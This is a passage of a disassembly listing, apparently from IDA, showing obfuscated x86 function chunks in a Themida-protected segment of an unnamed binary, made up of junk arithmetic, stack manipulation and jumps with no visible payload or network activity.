; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_5621DF: ; CODE XREF: sub_56749A+B073j
pop [esp+18h+var_18]
add [esp+14h+var_14], 4
pop eax
add eax, 4
add eax, 4
xor eax, [esp+10h+var_10]
xor [esp+10h+var_10], eax
jmp loc_566F7D
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_5621FD: ; CODE XREF: sub_569AB3+44C7j
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
jmp loc_570E51
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_562212: ; CODE XREF: sub_56616D+E1C4j
mov [esp-4+arg_0], ebp
mov ebp, 286E7F02h
or ebp, 71C45E25h
add ebp, 861180DDh
add esi, ebp
mov ebp, [esp-4+arg_0]
add esp, 4
add esi, 4
xchg esi, [esp-8+arg_4]
jmp loc_56E7AA
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56223C: ; CODE XREF: sub_561418+13C4j
shl ebx, 6
push 224Bh
mov [esp+14h+var_14], ebp
push esp
jmp loc_563C0B
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_56224D: ; CODE XREF: Themida_:00569FD1j
mov edi, 4
sub ebp, 5C3767D0h
add ebp, edi
add ebp, 5C3767D0h
push dword ptr [esp]
pop edi
add esp, 4
add ebp, 2
jmp loc_571FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56226F: ; CODE XREF: sub_570732-E832j
mov ebp, esp
push edx
mov edx, 7C561AA6h
not edx
jmp loc_5669F1
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_56227E: ; CODE XREF: sub_5680FB+6ED2j
mov ebp, [esp+0Ch+var_C]
add esp, 4
jmp loc_56BF24
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_562289: ; CODE XREF: sub_571088-F00j
push esi
mov esi, esp
jmp loc_574C42
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_562291: ; CODE XREF: sub_56FA15+22EEj
mov esp, [esp]
mov dh, cl
jmp loc_5689F2
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56229B: ; CODE XREF: sub_56102D+677Aj
or edx, eax
pop eax
dec edx
neg edx
xor edx, 0A2023002h
add esi, edx
pop edx
jmp loc_56786F
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
loc_5622AF: ; CODE XREF: Themida_:0056184Fj
mov eax, 54D950A5h
jmp loc_5736E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5622B9: ; CODE XREF: sub_568E5C-6943j
push eax
pop ecx
mov eax, [esp+8+var_8]
add esp, 4
inc ecx
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, 70F4DEB1h
sub ecx, ebx
pop ebx
add ebx, 45765673h
add ebx, ecx
push edx
mov edx, 4B85061Eh
shl edx, 5
neg edx
jmp loc_574D22
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_5622EB: ; CODE XREF: sub_56E0B0-DB01j
mov ecx, 4
add [esp+8+var_4], ecx
jmp loc_571081
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56489B
loc_5622F9: ; CODE XREF: sub_56489B+ACBAj
pop ecx
xor al, bh
pop ebx
sub esp, 4
mov [esp-4+arg_0], ecx
mov ch, al
jmp sub_568646
; END OF FUNCTION CHUNK FOR sub_56489B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56230A: ; CODE XREF: sub_570E81-EA68j
pop edi
add eax, ebp
sub eax, 7F572388h
push [esp+8+var_8]
pop ebp
add esp, 4
add eax, 4
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
jmp loc_56711C
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56232F: ; CODE XREF: sub_56FA15-393Ej
mov bl, ah
pop eax
pop edx
shl bl, 8
jmp loc_56C88B
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
loc_56233B: ; CODE XREF: Themida_:0056263Ej
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add ecx, 16B7559Fh
add ecx, edi
jmp loc_560E5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56235A: ; CODE XREF: sub_57549C-34F4j
mov esi, [esp+10h+var_10]
add esp, 4
jmp loc_5730FD
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_562368: ; CODE XREF: sub_5733CA-6E7Cj
sub ecx, 65DF5821h
mov esi, [esp-4+arg_0]
add esp, 4
push 3BC3h
mov [esp-4+arg_0], edx
jmp loc_562854
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_562381: ; CODE XREF: sub_56EE9F+3AA0j
xor ebp, esi
jmp loc_561279
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBD1
loc_562388: ; CODE XREF: sub_56DBD1+3858j
add esp, 4
sub dword ptr [esp+0], 28A64E8Bh
add [esp+0], eax
add dword ptr [esp+0], 28A64E8Bh
jmp loc_56DA09
; END OF FUNCTION CHUNK FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_5623A1: ; CODE XREF: sub_56241E-17C6j
add esp, 2
xor ax, dx
pop edx
xor bx, ax
movzx eax, ax
push small 2336h
mov [esp+0], ax
jmp loc_5719E7
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5623BB: ; CODE XREF: sub_561418+5F5Ej
sub esi, 31FF0A8Ah
mov edx, [esp+18h+var_18]
push esi
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+1Ch+var_1C]
jmp loc_5602DE
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5623E7: ; CODE XREF: sub_57549C-DF1Dj
mov edi, edx
pop edx
or edi, 4CFA4B8Eh
push ebx
mov ebx, 36D41C56h
jmp loc_573FD4
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
loc_5623FB: ; CODE XREF: Themida_:005655ECj
mov [esp], ebp
mov ebp, 4
sub ecx, ebp
pop ebp
jmp loc_563848
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56240B: ; CODE XREF: sub_570E81+F50j
add esp, 4
push edi
mov edi, 7F572388h
add eax, edi
jmp loc_56230A
; END OF FUNCTION CHUNK FOR sub_570E81
; =============== S U B R O U T I N E =======================================
sub_56241E proc near ; DATA XREF: Themida_:0055FD8Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00560760 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560C54 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561040 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00561460 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562125 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005623A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00562962 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562BF0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056580A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565CFE SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00566202 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00566847 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00567E0C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005692EB SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056A7AD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B879 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C667 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EDE3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005719E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005727DC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057388A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057394F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00573A41 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573C5E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574AE6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057543A SIZE 0000001B BYTES
lodsw
xor ax, bx
jmp loc_574AE6
sub_56241E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_562428: ; CODE XREF: sub_56638C+1D9Aj
sub esi, 45F84011h
jmp loc_564CAF
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_562433: ; CODE XREF: sub_564D26-2364j
sub ebx, 4C02379Dh
sub ebx, 56477267h
pop ecx
add ebx, 4
xor ebx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ebx
jmp loc_56B296
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_56244E: ; CODE XREF: sub_570621+2B41j
pop ebx
jmp loc_560F14
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_562454: ; CODE XREF: sub_572E16-3944j
xchg eax, [esp+4+var_4]
pop esp
push dword ptr [esp+0]
jmp loc_5744A9
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_562460: ; CODE XREF: sub_56D69D-7E1Cj
xchg edi, edx
not edi
xchg edi, edx
shr edx, 4
sub edx, 0C41DA9ABh
jmp loc_56BF9D
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_562474: ; CODE XREF: sub_572D45-D0DFj
add eax, 28DA2996h
jmp loc_567209
; END OF FUNCTION CHUNK FOR sub_572D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56247E: ; CODE XREF: sub_572141-A672j
add ebp, 5461161Ch
add ebp, esi
sub ebp, 5461161Ch
pop esi
push eax
mov eax, 587C4935h
jmp loc_56F708
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_562498: ; CODE XREF: sub_574F16-F00j
push cx
mov cl, 0E8h
add dl, cl
mov cx, word ptr [esp+4+var_6+2]
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 2
add edx, edi
pop edi
xchg edx, [esp+8+var_A+2]
jmp loc_573E58
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_5624BC: ; CODE XREF: sub_57523A-A774j
mov esi, 613B5EEEh
push esi
sub [esp+14h+var_14], 0C1B68D1h
pop ebp
push eax
mov eax, 18562885h
dec eax
or eax, 2DCC08D1h
shl eax, 4
jmp loc_56D091
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5624DE: ; CODE XREF: sub_570732+CAj
mov ebx, [esp+20h+var_20]
add esp, 4
pop [esp+1Ch+var_1C]
mov esp, [esp+18h+var_18]
mov ebx, [esp+4+var_4]
jmp loc_568362
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_5624F5: ; CODE XREF: sub_56E126-84ABj
xor esi, ebp
xor ebp, esi
jmp loc_567D55
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5624FE: ; CODE XREF: sub_568E5C-5BACj
add esp, 4
mov ecx, eax
pop eax
and ecx, 7E133059h
sub esp, 4
mov [esp+8+var_8], ecx
push eax
pop ecx
pop eax
not eax
push ecx
jmp loc_5622B9
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_56251E: ; CODE XREF: sub_5671E1+12j
add [esp+8+var_8], 4
jmp loc_563A21
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_562527: ; CODE XREF: sub_564D26+5837j
add esp, 4
not esi
xchg ebx, esi
xchg ebp, ebx
push ebp
jmp loc_56C5E1
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_562539: ; CODE XREF: Themida_:00560733j
mov [esp], eax
jmp loc_562A90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B79
loc_562541: ; CODE XREF: sub_566B79-2265j
push [esp+4+var_4]
pop eax
jmp sub_56AA2B
; END OF FUNCTION CHUNK FOR sub_566B79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56254A: ; CODE XREF: sub_561027+5968j
mov edi, 69CF11BBh
shl edi, 7
or edi, 1CDC2031h
jmp loc_56D8D0
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_56255D: ; CODE XREF: sub_5715F0-FCAEj
push [esp-4+arg_4]
mov ebx, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
mov cx, word ptr [esp-4+arg_0]
jmp sub_56C79C
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C553
loc_562583: ; CODE XREF: sub_56C553+5FB4j
add esp, 4
jmp sub_567D31
; END OF FUNCTION CHUNK FOR sub_56C553
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_56258B: ; CODE XREF: sub_56638C+EC82j
pop edi
add esp, 4
sub esp, 4
mov [esp+2+var_4+2], ebx
push ecx
mov ecx, 2
mov ebx, ecx
pop ecx
sub edx, 4DA3427Eh
add edx, 69A52270h
add edx, ebx
push ecx
mov ecx, 7B941AC7h
neg ecx
neg ecx
jmp loc_569EC5
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
loc_5625C1: ; CODE XREF: Themida_:00572ED7j
mov cx, [esp]
push ebx
push esp
pop ebx
push edx
jmp loc_57008A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_5625CE: ; CODE XREF: sub_560C12+10965j
xchg ebx, [esp+8+var_8]
jmp loc_564659
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_5625D6: ; CODE XREF: sub_570621-F6F3j
add esp, 4
jmp loc_56533B
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E90A
loc_5625DE: ; CODE XREF: sub_56E90A+7j
mov [esp+4+var_4], eax
mov eax, esp
sub esp, 4
mov [esp+8+var_8], ebx
jmp sub_56BD44
; END OF FUNCTION CHUNK FOR sub_56E90A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5625EE: ; CODE XREF: sub_571F6F-4310j
pop esp
dec dh
inc dh
dec dh
push bx
mov bh, 0D8h
add dh, bh
mov bx, word ptr [esp+12h+var_14+2]
add esp, 2
mov bh, dh
mov edx, [esp+0Eh+var_E]
jmp loc_5742BB
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_56260C: ; CODE XREF: sub_563819-2DB5j
mov ebp, [esp+0]
add esp, 4
add ebx, 281A10EBh
add ebx, eax
push ebp
mov ebp, 281A10EBh
sub ebx, ebp
pop ebp
pop eax
mov ecx, [esp-8+arg_4]
push edi
mov edi, esp
jmp loc_569750
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
loc_56262F: ; CODE XREF: Themida_:0056B679j
pop esp
mov ecx, 4A95730Fh
sub ecx, edx
push dword ptr [esp]
pop edx
push esi
mov esi, esp
jmp loc_56233B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_562643: ; CODE XREF: sub_56EFD2+181Aj
add edi, esi
pop esi
push edi
jmp loc_56B685
; END OF FUNCTION CHUNK FOR sub_56EFD2
; =============== S U B R O U T I N E =======================================
sub_56264C proc near ; DATA XREF: Themida_:0055FE50o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561AEF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00563752 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056984D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B2B4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E92D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571F8A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572CCA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574F0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057519D SIZE 00000006 BYTES
lodsd
jmp loc_574F0B
sub_56264C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_562652: ; CODE XREF: sub_5680AC-1764j
sub eax, 294F6C87h
add eax, ebx
add eax, 294F6C87h
jmp loc_574FA5
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_562663: ; CODE XREF: sub_56B11B-27C3j
pop eax
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
jmp loc_56B443
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_56266F: ; CODE XREF: sub_56638C-4E73j
mov edx, esp
jmp loc_5749DE
; END OF FUNCTION CHUNK FOR sub_56638C
; =============== S U B R O U T I N E =======================================
sub_562676 proc near ; DATA XREF: Themida_:0055FE38o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005632C8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C069 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CD68 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FBEB SIZE 00000017 BYTES
push dword ptr [esp+0]
pop eax
sub esp, 4
mov [esp+4+var_4], esi
mov esi, esp
push ecx
push 4
pop ecx
push eax
push 72C34B76h
pop eax
or eax, 3F513250h
jmp loc_56C069
sub_562676 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56269D: ; CODE XREF: sub_572075-72F3j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_566B9C
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_5626B6: ; CODE XREF: sub_56D4B8-3801j
add esi, 4
xchg esi, [esp-4+arg_0]
pop esp
and ecx, edi
mov edi, [esp-8+arg_4]
jmp loc_570A68
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
loc_5626C7: ; CODE XREF: Themida_:00561476j
push 5F24h
mov [esp], ebp
push edx
push ebp
jmp loc_5694F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_5626D6: ; CODE XREF: sub_5605BC+C09Cj
sub eax, 4
xchg eax, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], edx
mov edx, 7D7163AFh
shl edx, 1
push ebx
mov ebx, 35D007D9h
xor edx, ebx
pop ebx
neg edx
push ebx
push edx
mov edx, 15834D3Ah
push 8D0DA585h
jmp loc_573ECF
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_562703: ; CODE XREF: sub_57354D+18A7j
and eax, 664E4C51h
xor eax, 4EF01176h
xor eax, 35687545h
sub ebp, 43E275E8h
jmp loc_56F6D6
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747AF
loc_56271D: ; CODE XREF: sub_5747AF-FAABj
mov ebp, [esp+18h+var_18]
add esp, 4
jmp loc_570A07
; END OF FUNCTION CHUNK FOR sub_5747AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_56272B: ; CODE XREF: sub_56D464-2FD3j
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637A1
loc_562731: ; CODE XREF: sub_5637A1+1Aj
add esp, 4
add edx, 4
add edx, 4
push 34A5h
jmp loc_562EFE
; END OF FUNCTION CHUNK FOR sub_5637A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_56274A: ; CODE XREF: sub_5753A5-576Cj
neg esi
push 3A3Ch
mov [esp+10h+var_10], ebp
mov ebp, 7641391Dh
jmp loc_5740BD
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_56275E: ; CODE XREF: sub_564EBE+3E7Fj
add edi, 4
push esi
mov esi, 586F0C1Ah
jmp loc_572F4E
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_56276F: ; CODE XREF: sub_567866+6672j
push eax
mov eax, 4
add edi, eax
pop eax
jmp loc_5646E4
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56277D: ; CODE XREF: sub_5687A3+60A0j
xor ecx, ebx
jmp loc_56A659
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_562784: ; CODE XREF: sub_5726FB-B700j
add esi, 35281751h
shl esi, 8
push edi
mov edi, 0D2FC2FFh
add esi, edi
pop edi
mov ecx, esi
push [esp+4+var_4]
pop esi
jmp loc_568E3F
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_5627A1: ; CODE XREF: sub_56EE9F-283Dj
add esp, 4
xor edi, 1FD4784Eh
sub edi, 20A07762h
jmp loc_56016B
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_5627B8: ; CODE XREF: sub_56616D+E740j
push edi
mov edi, 203103C0h
or edx, edi
mov edi, [esp-4+arg_0]
add esp, 4
jmp loc_5712C3
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5627CE: ; CODE XREF: sub_561418+8AC3j
push 25FE5714h
mov ebx, [esp+0]
add esp, 4
jmp loc_56223C
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_5627E1: ; CODE XREF: sub_571C93-B2E6j
pop esp
push dword ptr [esp+0]
jmp loc_572A8F
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_5627EA: ; CODE XREF: sub_566400+9B26j
add eax, 3AF142FAh
jmp sub_56DAB2
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5627F4: ; CODE XREF: sub_564D26+B228j
mov [esp+0Ch+var_C], edx
mov edx, 4
add edi, 40866211h
add edi, edx
sub edi, 40866211h
pop edx
add edi, 4
jmp loc_572230
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_562816: ; CODE XREF: sub_56628B-4876j
or esi, 4D172254h
sub esi, 6E687ECBh
jmp loc_5742DF
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_562827: ; CODE XREF: sub_57354D-5248j
sub [esp+8+var_4], 8CF317Ah
pop ebx
mov ecx, [esp+4+var_4]
push ebx
jmp loc_561300
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_562839: ; CODE XREF: Themida_:00574244j
shr edi, 6
sub edi, 27582D52h
jmp loc_56994B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_562847: ; CODE XREF: sub_574949-2AD9j
push esi
mov esi, 358B7E9Ch
xor esi, eax
jmp loc_565DAE
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_562854: ; CODE XREF: sub_5733CA-1104Ej
push edi
mov edi, 228A747Eh
not edi
dec edi
dec edi
sub edi, 7C4776D6h
mov edx, edi
pop edi
and edx, 5C8063ABh
add edx, 0BFFFFF59h
add ecx, edx
pop edx
jmp loc_566911
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56287B: ; CODE XREF: sub_561418+EFC9j
push esp
jmp loc_574C78
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_562881: ; CODE XREF: sub_568764+1DE1j
mov [edx], al
jmp loc_56F5A6
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_562888: ; CODE XREF: sub_56AB5E+9A8Fj
push edx
mov edx, esp
jmp loc_5751A9
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56513E
loc_562890: ; CODE XREF: sub_56513E+61C4j
xor esi, 7A070117h
xor esi, 3F8B4D3Dh
push ebp
mov ebp, 5AE90C7Eh
sub ebp, 7F2D5EC0h
jmp loc_5743FB
; END OF FUNCTION CHUNK FOR sub_56513E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_5628AD: ; CODE XREF: sub_575315-11D74j
inc ecx
shl ecx, 3
add ecx, 0A9ED889Dh
and ebp, ecx
pop ecx
push 347Fh
jmp loc_568A86
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_5628C4: ; CODE XREF: sub_5610CE+143FAj
mov esi, [esp+4+var_4]
add esp, 4
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 69477DEEh
add ebp, eax
jmp loc_5746FC
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_5628DF: ; CODE XREF: sub_571289-F4F1j
add eax, edx
pop edx
pop ebx
jmp loc_56BA12
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_5628E8: ; CODE XREF: sub_572E16-C737j
mov esi, 39E7361Dh
not esi
push edx
push ebp
push 36E85AA3h
pop ebp
push ebp
jmp loc_5606A5
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_5628FD: ; CODE XREF: sub_574F16-C57Cj
and dl, 67h
push ecx
jmp loc_56A005
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_562906: ; CODE XREF: sub_574A21-12B33j
sub esi, 6FC218D9h
add esi, ecx
add esi, 6FC218D9h
pop ecx
sub esi, edx
sub esi, 450445FDh
push [esp+8+var_8]
pop edx
push 2641h
